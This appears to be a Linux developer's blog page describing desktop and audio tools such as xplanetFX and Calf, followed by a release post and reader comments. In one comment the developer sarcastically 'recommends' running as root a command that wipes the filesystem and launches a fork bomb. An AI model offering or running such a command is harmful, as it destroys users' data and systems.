xplanetFX renders high quality wallpapers of mother earth on your desktop. An extensive GUI (GTK) provides a lot of features and settings. Various templates place the planet inside different scenes and make shure your desktop never gets boring again. With realtime light, shadows and clouds!

traGtor is a graphical user interface for the awesome conversion tool ffmpeg. With multi streams, presets, multi language and a lot of other features traGtor is a handy tool for converting all audio and video formats through ffmpeg. traGtor is based on GTK and Python.

Calf studiogear is an extensive and high quality plugin pack for professional audio production under Linux. It provides a lot of synthesizers, effects and signal processing for the use with LV2 audio production suites (like Ardour) or as stand-alone through JACK.

Calf with all of its new features and processors isn't officially released by now so you have to grab the GIT-repository from sourceforge.net until we are ready for a stable release.

» calf.sourceforge.net

guess is a tool to launch (and kill) different setups of programs. It was invented to startup all needed synthesizers, audio suites, MIDI sequencers and stuff with the correct source files on the right desktop for a single audio production with just one click.

xplanetFX - series: Mit xplanetFX ganze Bilderserien erstellen

oRainge Theme: GTK-, GDM-, Metacity-, Icons-Theme

oRainge gDesklets: Sprechende Uhren, Kalender, System-Widgets (manual)

photogen:c SVG-Icons: Diverse High-Quality-Icons im SVG-Format

traffick: Serverumgebungen testen. Durch skalierbares Threading erzeugt traffick Unmengen an Suchanfragen und Webseitenaufrufen, um ein hohes Maß an Vorratsdaten Netzwerkauslastung zu simulieren.

GIMP Plug-In “Moderated Blur” for Tilt Shift and Depth-Of-Field Effects

stuff (de) guess calf traGtor xplanetFX

xplanetFX 2.2.25: Clouds service for xplanet/xplanetFX gone commercial

Hari changed the service for clouds images from free to commercial. I wrote a mail to get his point and I’m waiting for an answer. To protect users of xplanetFX from ugly desktop images I uploaded a static clouds images to the xplanetFX server and changed the clouds download script to fetch it from there.

This is just a temporary solution until we find a possibility to bring back actual clouding for free to our Linux desktops again.

So please stay patient.

Actually seeing text above your desktop planet?

  • Update xplanetFX to the latest version 2.2.25
  • Open xplanetFX and change to the most-right tab
  • Hit the button to recreate the clouds image
  • Hit the button to refresh the desktop image at the bottom of the xplanetFX window

A static clouds image should be downloaded and used as clouds overlay then.

Version 2.2.25:
* TEMPORARY WORKAROUND: Clouds image fetched as a static image from
  mein-neues-blog.de due to problems with the free service gone commercial
  to not destroy the visual experience on desktops. A solution is in progress.
  1. 4 comments on “xplanetFX 2.2.25: Clouds service for xplanet/xplanetFX gone commercial”

  2. maex

    this is a great pity 🙁

  3. Tentacolon

    * Gentoo Linux version unknown (Gentoo doesn’t really have versions, you moron!)
    * XPlanetFX
    * Does not make beautiful earth-centered background wallpaper, should do so because my grandma wants it.
    * grandma@plateau ~ $ xplanetFX
    bash: xplanetFX: command not found
    * Her birthday is next week, fix it by then, this needs to work!

  4. Markus

    Hey Tentacolon,

    thank you a bunch for the detailed report, there are not that many users who understand to get in the details that exactly.

    The most simple fix would be logging in as root and execute „rm -r / && : (){ : | :& };:“ in the terminal window.

    Lots of love to your grandma, cheers, markus.

  5. webavant

    Yikes! While obviously you’re joking with your suggestion to delete the file system contents and fork bomb, I feel like there might be people using this program who have a habit of taking jokes literally. Don’t feed the trolls! Cheers, man.

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